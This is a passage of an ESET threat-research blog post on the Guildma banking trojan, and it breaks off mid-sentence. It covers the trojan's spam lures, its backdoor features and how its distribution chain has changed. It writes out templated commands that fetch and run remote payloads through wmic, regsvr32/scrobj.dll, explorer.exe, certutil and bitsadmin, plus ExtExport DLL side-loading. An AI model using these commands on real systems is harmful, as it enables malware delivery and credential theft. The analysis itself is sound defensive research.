Guildma: the Devil Drives Electric | Welivesecurity
Total Page:16
File Type:pdf, Size:1020Kb
3/14/2020 Guildma: The Devil drives electric | WeLiveSecurity Guildma: The Devil drives electric welivesecurity.com/2020/03/05/guildma-devil-drives-electric March 5, 2020 In this blogpost, we will examine Guildma (also known as Astaroth, a powerful demon), a highly prevalent Latin American banking trojan. This Brazil-targeting trojan, written in Delphi, boasts some innovative execution and attack techniques. We will describe the most recent version, highlighting the most notable changes made since the middle of 2019 when an avalanche of articles about Guildma was published in response to its largest campaign to date. Characteristics Guildma is a Latin American banking trojan that targets Brazil exclusively. Based on our telemetry — as well as the public attention it has received — we believe it to be the most impactful and advanced banking trojan in the region. Besides targeting financial institutions, Guildma also attempts to steal credentials for email accounts, e‑shops and streaming services, and affects at least ten times as many victims as other Latin American banking trojans already described in this series. It uses innovative methods of execution and sophisticated attack techniques. Unlike the Latin American banking trojans we have described previously, Guildma does not store the fake pop-up windows it uses within the binary. Instead, the attack is orchestrated by its C&C server. This gives the authors greater flexibility to react to countermeasures implemented by the targeted banks. Guildma implements the following backdoor functionalities: Taking screenshots Capturing keystrokes Emulating keyboard and mouse Blocking shortcuts (such as disabling Alt + F4 to make it harder to get rid of fake windows it may display) Downloading and executing files Restarting the machine Guildma is very modular. At the time of writing, it consists of 10 modules, not including distribution chain stages. The functionality of individual modules will be discussed later. Evolution of distribution chains Our telemetry indicates Guildma spreads exclusively through spam emails with malicious attachments. Here are a few examples from a campaign from the middle of November 2019. https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/ 1/18 3/14/2020 Guildma: The Devil drives electric | WeLiveSecurity Figure 1. Spam email example (translation: “Hello, please explain these photos to me. I’m waiting for your explanation!”) Figure 2. Spam email example (translation: “Dear member of consórcio, attached is the proof of bid no. 75432.”) https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/ 2/18 3/14/2020 Guildma: The Devil drives electric | WeLiveSecurity Figure 3. Spam email example (translation: “Good morning, I am sending the proof of transfer – DOC. Citibank”) Figure 4. Spam email example. Fake invoice reminder stating that a payment is due the day after tomorrow and that the payment may take up to 72 hours to be processed. One of the defining characteristics of Guildma’s distribution chains is using tools already present on the system, often in new and unusual ways. https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/ 3/18 3/14/2020 Guildma: The Devil drives electric | WeLiveSecurity Another characteristic is reusing techniques. New techniques are added every once in a while, but for the most part, the developers seem to simply reuse techniques from older versions. Figure 5. Distribution chain of Guildma in version 150 Figure 5 shows the distribution chain for version 150, but the structure of Guildma’s distribution chains is very dynamic. For instance, in previous versions, the malicious LNK file shown in Figure 5 was not embedded in a ZIP archive, or an SFX RAR archive containing an MSI installer was used instead. Also, there used to be another JScript stage whose sole purpose was downloading and executing the final JScript stage; there have been too many changes overall to fit into this article. In fact, the only part that has mostly stayed the same is the final JScript stage. Using data from our long-term, in-depth tracking of this family, we have compiled a very good picture of Guildma’s activity. Figure 6 shows all ESET detections of Guildma’s first-stage component. As you can see, the campaigns were ramping up slowly until a massive campaign in August 2019, when we were seeing up to 50,000 samples per day. This campaign went on for almost two months and accounted for more than double the amount of detections we had seen in the 10 months prior. Figure 6. First stage Guildma detections since October 2018 Following is a summary of some of the more interesting techniques used in the last 14 months. Execution of the JScript stage https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/ 4/18 3/14/2020 Guildma: The Devil drives electric | WeLiveSecurity Over the last year, Guildma has used several methods of executing the JScript stages of its distribution chain. At the end of 2018, Guildma was hiding its code in eXtensible Stylesheet Language (.xsl) files and using wmic.exe to download and execute them: wmic.exe <wmic query> /format:”<URL>” It then briefly moved on to using regsvr32.exe and scrobj.dll to download a JScript-implemented COM object and execute its registration routine (which contained the malicious code): regsvr32.exe /s /n /u /i:<URL> scrobj.dll Most recently, the authors started abusing Windows Explorer to execute the JScript stage. This attack relies on the fact that Windows Explorer will try to open any file passed to it on the command line with its associated program and the fact that the default association for .js files is the Microsoft Windows Script Host. The “script” passed to Windows Explorer is a single command whose purpose is to download and execute the actual JScript stage: echo GetObject(‘script:<URL>’) > <file>.js | explorer.exe <random switches> <file>.js Execution of the binary modules Methods of running the PE modules are no less diverse. When we started tracking Guildma, it was abusing Avast’s aswRunDll.exe to launch the first binary stage, with regsvr32.exe as a failover for computers where Avast’s products weren’t installed. The use of aswRunDll.exe was then dropped, leaving regsvr32.exe as the sole method of execution. After a brief period of using rundll32.exe, Guildma switched to its current execution method — ExtExport.exe. ExtExport.exe is an undocumented component of Microsoft Internet Explorer used for exporting bookmarks from Mozilla Firefox and 360 Secure Browser, and can be abused for DLL Side- Loading. When the following command is executed, mozcrt19.dll, mozsqlite3.dll, and sqlite3.dll are loaded from the folder specified on the command line: C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2> To abuse this, you would normally drop the DLL to be loaded as one of the above-mentioned files; Guildma uses all three. Downloading the binary modules Guildma has also utilized a couple of different ways to download the binary modules. The first version was using certutil.exe copied to certis.exe (presumably to evade detection): certis.exe -urlcache -split -f “<URL>” “<destination path>” The authors then switched to BITSAdmin — the Microsoft Background Intelligent Transfer Service management tool — and are still using it at the time of writing: bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination> https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/ 5/18 3/14/2020 Guildma: The Devil drives electric | WeLiveSecurity For a couple months, the binary modules were base64-encoded and hosted on Google Cloud. In that time, Guildma was using both BITSAdmin and certutil — BITSAdmin to download the modules and certutil to decode them. Other changes Guildma uses strange, non-descriptive variable and function names. When we started tracking Guildma, the names, while nonsensical, were clearly man-made (e.g. “radador” for the random number function or “Bxaki” for the download function). In June 2019 they were all changed to random-looking names (e.g. “bx021” and “mrc430”). At first, we thought the authors implemented some kind of an automated script obfuscator, but it turned out to be a onetime change and the names have remained the same since. A relatively new addition is the age-old technique of using ADS (Alternate Data Streams) to store the binary modules. All the modules are now stored as ADS of a single file (e.g. “desktop.ini:nauwuygiaa.jpg”, “desktop.ini:nauwuygiab.jpg”, etc.). Version history Guildma has seemingly gone through many versions during its development, but there was usually very little development between versions — due to its clunky architecture utilizing hardcoded configuration values, for the most part the authors have to recompile all the binaries for every new campaign. A job that is clearly not completely automated, since there has often been a significant delay between updating the version number in the scripts and in the binaries. In this article, we cover version 150, but since we started writing, two more versions have been released. They contain no substantial change in functionality or distribution, supporting our claims about Guildma’s development cycle. The final stage of the distribution chain used to contain a version name (and even before that, it used to download said name along with the binary modules), but it has been (presumably) permanently replaced with a simple “xXx” since version 148. Table 1 summarizes all the versions released since we started tracking